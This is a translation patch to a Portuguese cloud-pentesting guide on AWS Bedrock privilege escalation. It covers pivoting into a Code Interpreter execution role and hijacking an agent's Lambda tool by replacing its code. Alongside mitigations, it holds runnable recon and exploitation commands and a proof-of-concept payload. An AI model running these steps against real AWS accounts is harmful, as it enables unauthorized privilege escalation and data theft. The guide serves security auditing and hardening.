From 6c6c8c83145bdc8a68b8f6048c1a2197feb1b55c Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 21 Apr 2026 08:21:07 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat --- .../aws-bedrock-privesc/README.md | 123 ++++++++++++++---- 1 file changed, 96 insertions(+), 27 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md index c670df763..d5ea35003 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md @@ -6,32 +6,32 @@ ### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot -AgentCore Code Interpreter é um ambiente de execução gerenciado. **Custom Code Interpreters** podem ser configurados com um **`executionRoleArn`** que “provides permissions for the code interpreter to access AWS services”. +AgentCore Code Interpreter é um ambiente de execução gerenciado. **Custom Code Interpreters** podem ser configurados com um **`executionRoleArn`** que “fornece permissões para que o code interpreter acesse serviços AWS”. -Se um **principal IAM com privilégios mais baixos** puder **start + invoke** uma sessão do Code Interpreter configurada com uma **execution role** mais privilegiada, o chamador pode efetivamente **pivot into the execution role’s permissions** (lateral movement / privilege escalation dependendo do escopo da role). +Se um **principal IAM com menos privilégios** conseguir **iniciar + invocar** uma sessão de Code Interpreter configurada com um **execution role mais privilegiado**, o chamador pode efetivamente **pivotar para as permissões do execution role** (lateral movement / privilege escalation dependendo do escopo da role). > [!NOTE] -> Isto tipicamente é um problema de **misconfiguration / excessive permissions** (concessão de permissões amplas à interpreter execution role e/ou concessão de amplo invoke access). -> A AWS alerta explicitamente para evitar privilege escalation garantindo que execution roles tenham **equal or fewer** privilégios do que as identidades autorizadas a invoke. +> Isso normalmente é um problema de **misconfiguration / permissões excessivas** (conceder permissões amplas à role de execução do interpreter e/ou conceder acesso amplo de invoke). +> A AWS avisa explicitamente para evitar privilege escalation garantindo que as execution roles tenham privilégios **iguais ou menores** do que as identidades autorizadas a invocar. -#### Pré-condições (misconfiguration comum) +#### Precondições (misconfiguration comum) -- Existe um **custom code interpreter** com uma **execution role** excessivamente privilegiada (ex: acesso a S3/Secrets/SSM sensíveis ou capacidades tipo IAM-admin). -- Um usuário (developer/auditor/CI identity) possui permissões para: -- start sessions: `bedrock-agentcore:StartCodeInterpreterSession` -- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter` -- (Opcional) O usuário também pode criar interpreters: `bedrock-agentcore:CreateCodeInterpreter` (permite criar um novo interpreter configurado com uma execution role, dependendo dos guardrails da organização). +- Existe um **custom code interpreter** com uma **execution role** com privilégios excessivos (ex: acesso a S3/Secrets/SSM sensíveis ou capacidades parecidas com IAM-admin). +- Um usuário (developer/auditor/identidade de CI) tem permissões para: +- iniciar sessions: `bedrock-agentcore:StartCodeInterpreterSession` +- invocar tools: `bedrock-agentcore:InvokeCodeInterpreter` +- (Opcional) O usuário também pode criar interpreters: `bedrock-agentcore:CreateCodeInterpreter` (permite criar um novo interpreter configurado com uma execution role, dependendo das guardrails da organização). -#### Recon (identify custom interpreters and execution role usage) +#### Recon (identificar custom interpreters e uso da execution role) Liste interpreters (control-plane) e inspecione sua configuração: ```bash aws bedrock-agentcore-control list-code-interpreters aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id -```` -> O comando create-code-interpreter suporta `--execution-role-arn` que define quais permissões da AWS o interpretador terá. +``` +> O comando create-code-interpreter suporta `--execution-role-arn`, que define quais permissões AWS o interpreter terá. -#### Passo 1 - Iniciar uma sessão (isso retorna um `sessionId`, não um shell interativo) +#### Step 1 - Start a session (isso retorna um `sessionId`, não um shell interativo) ```bash SESSION_ID=$( aws bedrock-agentcore start-code-interpreter-session \ @@ -43,11 +43,11 @@ aws bedrock-agentcore start-code-interpreter-session \ echo "SessionId: $SESSION_ID" ``` -#### Etapa 2 - Invocar execução de código (Boto3 ou HTTPS assinada) +#### Step 2 - Invoke code execution (Boto3 or signed HTTPS) -Não existe **um shell python interativo** a partir de `start-code-interpreter-session`. A execução acontece via **InvokeCodeInterpreter**. +Não há **interactive python shell** de `start-code-interpreter-session`. A execução acontece via **InvokeCodeInterpreter**. -**Opção A - Exemplo Boto3 (executar Python + verificar identidade):** +**Option A - Boto3 example (execute Python + verify identity):** ```python import boto3 @@ -68,9 +68,9 @@ arguments={ for event in resp.get("stream", []): print(event) ``` -Se o interpreter estiver configurado com um execution role, a saída de `sts:GetCallerIdentity()` deve refletir a identidade desse role (não do low-priv caller), demonstrando o pivot. +Se o interpreter estiver configurado com uma execution role, a saída de `sts:GetCallerIdentity()` deve refletir a identidade dessa role (não a do low-priv caller), demonstrando o pivot. -**Opção B - Chamada HTTPS assinada (awscurl):** +**Option B - Signed HTTPS call (awscurl):** ```bash awscurl -X POST \ "https://bedrock-agentcore..amazonaws.com/code-interpreters//tools/invoke" \ @@ -87,18 +87,86 @@ awscurl -X POST \ } }' ``` +#### Impact + +* **Lateral movement** para qualquer acesso AWS que a role de execução do interpreter tenha. +* **Privilege escalation** se a role de execução do interpreter for mais privilegiada do que o caller. +* Detecção mais difícil se os CloudTrail data events para invocações do interpreter não estiverem habilitados (as invocações podem não ser registradas por padrão, dependendo da configuração). + +#### Mitigations / Hardening + +* **Least privilege** no `executionRoleArn` do interpreter (trate isso como Lambda execution roles / CI roles). +* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) e quem pode iniciar sessions. +* Use **SCPs** para negar InvokeCodeInterpreter exceto para approved agent runtime roles (a aplicação em nível de org pode ser necessária). +* Habilite os CloudTrail data events apropriados para AgentCore quando aplicável; gere alertas para invocações inesperadas e criação de sessions. + +## Amazon Bedrock Agents + +### `lambda:UpdateFunctionCode`, `bedrock:InvokeAgent` - Agent Tool Hijacking via Lambda + +Bedrock Agents podem usar **Lambda-backed action groups** como tools (external execution). Se um principal puder **modificar o code de uma função Lambda usada por um agent**, e depois puder **invocar o agent**, ele pode executar code controlado pelo attacker sob a **Lambda execution role**. + +> [!NOTE] +> Isto é um **cross-service trust abuse** (Bedrock → Lambda), não uma vulnerabilidade. O attacker pode não conseguir invocar a Lambda diretamente, mas ainda pode acioná-la via o agent. + +#### Preconditions (common misconfiguration) + +- Existe um Bedrock Agent com um **action group backed by a Lambda function** +- O attacker tem: +- `lambda:UpdateFunctionCode` +- `bedrock:InvokeAgent` +- A Lambda execution role tem permissões mais amplas do que o attacker +- O attacker consegue identificar a Lambda usada pelo agent + +#### Recon + +Enumerate agent action groups: +```bash +aws bedrock-agent list-agents +aws bedrock-agent get-agent --agent-id +aws bedrock-agent list-agent-action-groups --agent-id --agent-version DRAFT +``` +Inspecionar Lambda: +```bash +aws lambda get-function --function-name +``` +#### Exploitation + +Substitua o código Lambda: +```bash +zip payload.zip lambda_function.py + +aws lambda update-function-code \ +--function-name \ +--zip-file fileb://payload.zip +``` +Example payload: +```python +import boto3 + +def lambda_handler(event, context): +return boto3.client("sts").get_caller_identity() +``` +Disparar via agent: +```bash +aws bedrock-agent-runtime invoke-agent \ +--agent-id \ +--agent-alias-id \ +--session-id test \ +--input-text "trigger tool" +``` #### Impacto -* **Lateral movement** para qualquer acesso AWS que a função de execução do interpreter possuir. -* **Privilege escalation** se a função de execução do interpreter tiver mais privilégios que o chamador. -* Detecção mais difícil se os **CloudTrail data events** para invocações do interpreter não estiverem habilitados (as invocações podem não ser registradas por padrão, dependendo da configuração). +* **Escalada de privilégios** para a Lambda execution role +* **Exfiltração de dados** de AWS services +* **Abuso entre services** via trusted agent execution -#### Mitigações / Fortalecimento +#### Mitigações -* **Least privilege** no interpreter `executionRoleArn` (trate-o como Lambda execution roles / CI roles). -* **Restrinja quem pode invocar** (`bedrock-agentcore:InvokeCodeInterpreter`) e quem pode iniciar sessões. -* Use **SCPs** para negar InvokeCodeInterpreter exceto para agent runtime roles aprovados (a aplicação a nível da organização pode ser necessária). -* Habilite os apropriados **CloudTrail data events** para AgentCore quando aplicável; alerte sobre invocações inesperadas e criação de sessões. +* **Restrinja** `lambda:UpdateFunctionCode` +* Use Lambda roles com **least-privilege** +* **Monitore** mudanças no código da Lambda +* **Audite** o uso de tools do Bedrock agent ## Referências @@ -108,6 +176,7 @@ awscurl -X POST \ - [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html) - [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html) - [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html) +- [SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)](https://www.softwaresecured.com/post/aws-privilege-escalation-iam-risks-service-based-attacks-and-new-ai-driven-bedrock-agentcore-vectors) {{#include ../../../../banners/hacktricks-training.md}}